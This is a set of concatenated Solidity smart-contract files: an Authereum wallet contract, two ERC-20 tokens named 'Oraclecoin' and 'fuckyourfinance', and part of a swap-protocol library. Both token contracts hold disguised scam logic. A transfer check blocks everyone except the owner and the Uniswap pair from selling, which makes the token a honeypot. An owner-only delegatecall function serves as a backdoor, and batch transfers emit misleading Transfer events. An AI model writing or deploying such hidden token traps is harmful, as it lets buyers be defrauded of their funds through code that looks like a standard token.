AuthKeyMetaTxAccount is BaseMetaTxAccount { /// @dev Execute multiple authKey meta transactions /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @param _gasPrice Gas price set by the user /// @param _gasOverhead Gas overhead of the transaction calculated offchain /// @param _feeTokenAddress Address of the token used to pay a fee /// @param _feeTokenRate Rate of the token (in tokenGasPrice/ethGasPrice) used to pay a fee /// @param _transactionMessageHashSignature Signed transaction data function executeMultipleAuthKeyMetaTransactions( bytes[] memory _transactions, uint256 _gasPrice, uint256 _gasOverhead, address _feeTokenAddress, uint256 _feeTokenRate, bytes memory _transactionMessageHashSignature ) public returns (bytes[] memory) { uint256 _startGas = gasleft(); // Hash the parameters bytes32 _transactionMessageHash = keccak256(abi.encode( address(this), msg.sig, getChainId(), nonce, _transactions, _gasPrice, _gasOverhead, _feeTokenAddress, _feeTokenRate )).toEthSignedMessageHash(); // Validate the signer // NOTE: This must be done prior to the _atomicExecuteMultipleMetaTransactions() call for security purposes _validateAuthKeyMetaTransactionSigs( _transactionMessageHash, _transactionMessageHashSignature ); (, bytes[] memory _returnValues) = _atomicExecuteMultipleMetaTransactions( _transactions, _gasPrice, _gasOverhead, _feeTokenAddress, _feeTokenRate ); if (_shouldRefund(_transactions)) { _issueRefund(_startGas, _gasPrice, _gasOverhead, _feeTokenAddress, _feeTokenRate); } return _returnValues; } /** * Internal functions */ /// @dev Validate signatures from an auth key meta transaction /// @param _transactionMessageHash Ethereum signed message of the transaction /// @param _transactionMessageHashSignature Signed transaction data /// @return Address of the auth key that signed the data function _validateAuthKeyMetaTransactionSigs( bytes32 _transactionMessageHash, bytes memory _transactionMessageHashSignature ) internal view { address _authKey = _transactionMessageHash.recover(_transactionMessageHashSignature); require(_isValidAuthKey(_authKey), "AKMTA: Auth key is invalid"); } /// @dev Check whether a refund should be issued /// @notice A refund should not be issued if the account is performing an Authereum-related update /// @param _transactions Arrays of transaction data ([destination, value, gasLimit, data][...]...) /// @return True if a refund should be issued function _shouldRefund(bytes[] memory _transactions) internal view returns (bool) { address _destination; for(uint i = 0; i < _transactions.length; i++) { (_destination,,,) = _decodeTransactionData(_transactions[i]); if (_destination != address(this)) return true; } return false; } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title AccountUpgradeability * @author Authereum Labs, Inc. * @dev The upgradeability logic for an Authereum account. */ contract AccountUpgradeability is BaseAccount { /// @dev Storage slot with the address of the current implementation /// @notice This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted /// @notice by 1, and is validated in the constructor bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * Public functions */ /// @dev Upgrades the proxy to the newest implementation of a contract and /// @dev forwards a function call to it /// @notice This is useful to initialize the proxied contract /// @param _newImplementation Address of the new implementation /// @param _data Array of initialize data function upgradeToAndCall( address _newImplementation, bytes memory _data ) public onlySelf { _setImplementation(_newImplementation); (bool success, bytes memory res) = _newImplementation.delegatecall(_data); // Get the revert message of the call and revert with it if the call failed string memory _revertMsg = _getRevertMsg(res); require(success, _revertMsg); emit Upgraded(_newImplementation); } /** * Internal functions */ /// @dev Sets the implementation address of the proxy /// @notice This is only meant to be called when upgrading self /// @notice The initial setImplementation for a proxy is set during /// @notice the proxy's initialization, not with this call /// @param _newImplementation Address of the new implementation function _setImplementation(address _newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(_newImplementation), "AU: Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, _newImplementation) } } } contract IAuthereumAccount is IERC1271, IERC721Receiver, IERC1155TokenReceiver { function () external payable; function authereumVersion() external view returns(string memory); function getChainId() external pure returns (uint256); function addAuthKey(address _authKey) external; function removeAuthKey(address _authKey) external; function isValidAuthKeySignature(bytes calldata _data, bytes calldata _signature) external view returns (bytes4); function isValidLoginKeySignature(bytes calldata _data, bytes calldata _signature) external view returns (bytes4); function executeMultipleMetaTransactions(bytes[] calldata _transactions) external returns (bytes[] memory); function executeMultipleAuthKeyMetaTransactions( bytes[] calldata _transactions, uint256 _gasPrice, uint256 _gasOverhead, address _feeTokenAddress, uint256 _feeTokenRate, bytes calldata _transactionMessageHashSignature ) external returns (bytes[] memory); function executeMultipleLoginKeyMetaTransactions( bytes[] calldata _transactions, uint256 _gasPrice, uint256 _gasOverhead, bytes calldata _loginKeyRestrictionsData, address _feeTokenAddress, uint256 _feeTokenRate, bytes calldata _transactionMessageHashSignature, bytes calldata _loginKeyAttestationSignature ) external returns (bytes[] memory); } /** * @title AuthereumAccount * @author Authereum Labs, Inc. * @dev Top-level contract used when creating an Authereum account. * @dev This contract is meant to only hold the version. All other logic is inherited. */ contract AuthereumAccount is IAuthereumAccount, BaseAccount, ERC1271Account, LoginKeyMetaTxAccount, AuthKeyMetaTxAccount, AccountUpgradeability { string constant public authereumVersion = "2020060100"; }
DC1
pragma solidity ^0.5.17; /* Oracle coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Oraclecoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; // ______ _ __ __ ______ _ // | ____| | | \ \ / / | ____(_) // | |__ _ _ ___| | __ \ \_/ /__ _ _ _ __ | |__ _ _ __ __ _ _ __ ___ ___ // | __| | | |/ __| |/ / \ / _ \| | | | '__| | __| | | '_ \ / _` | '_ \ / __/ _ \ // | | | |_| | (__| < | | (_) | |_| | | | | | | | | | (_| | | | | (_| __/ // |_|___\__,_|\___|_|\_\ __|_|\___/ \__,_|_| |_| |_|_| |_|\__,_|_| |_|\___\___| // | ____| | | | ____(_) // | |__ _ _ ___| | __ | |__ _ _ __ __ _ _ __ ___ ___ // | __| | | |/ __| |/ / | __| | | '_ \ / _` | '_ \ / __/ _ \ // | | | |_| | (__| < _| | | | | | | (_| | | | | (_| __/ // |_| \__,_|\___|_|\_(_)_| |_|_| |_|\__,_|_| |_|\___\___| // // fuck.finance interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract fuckyourfinance { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
// SPDX-License-Identifier: MIT pragma solidity >=0.7.2; pragma experimental ABIEncoderV2; enum PurchaseMethod {Invalid, Contract, ZeroEx} /** * @title Types: Library of Swap Protocol Types and Hashes */ library Types { struct Order { uint256 nonce; // Unique per order and should be sequential uint256 expiry; // Expiry in seconds since 1 January 1970 Party signer; // Party to the trade that sets terms Party sender; // Party to the trade that accepts terms Party affiliate; // Party compensated for facilitating (optional) Signature signature; // Signature of the order } struct Party { bytes4 kind; // Interface ID of the token address wallet; // Wallet address of the party address token; // Contract address of the token uint256 amount; // Amount for ERC-20 or ERC-1155 uint256 id; // ID for ERC-721 or ERC-1155 } struct Signature { address signatory; // Address of the wallet used to sign address validator; // Address of the intended swap contract bytes1 version; // EIP-191 signature version uint8 v; // `v` value of an ECDSA signature bytes32 r; // `r` value of an ECDSA signature bytes32 s; // `s` value of an ECDSA signature } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback 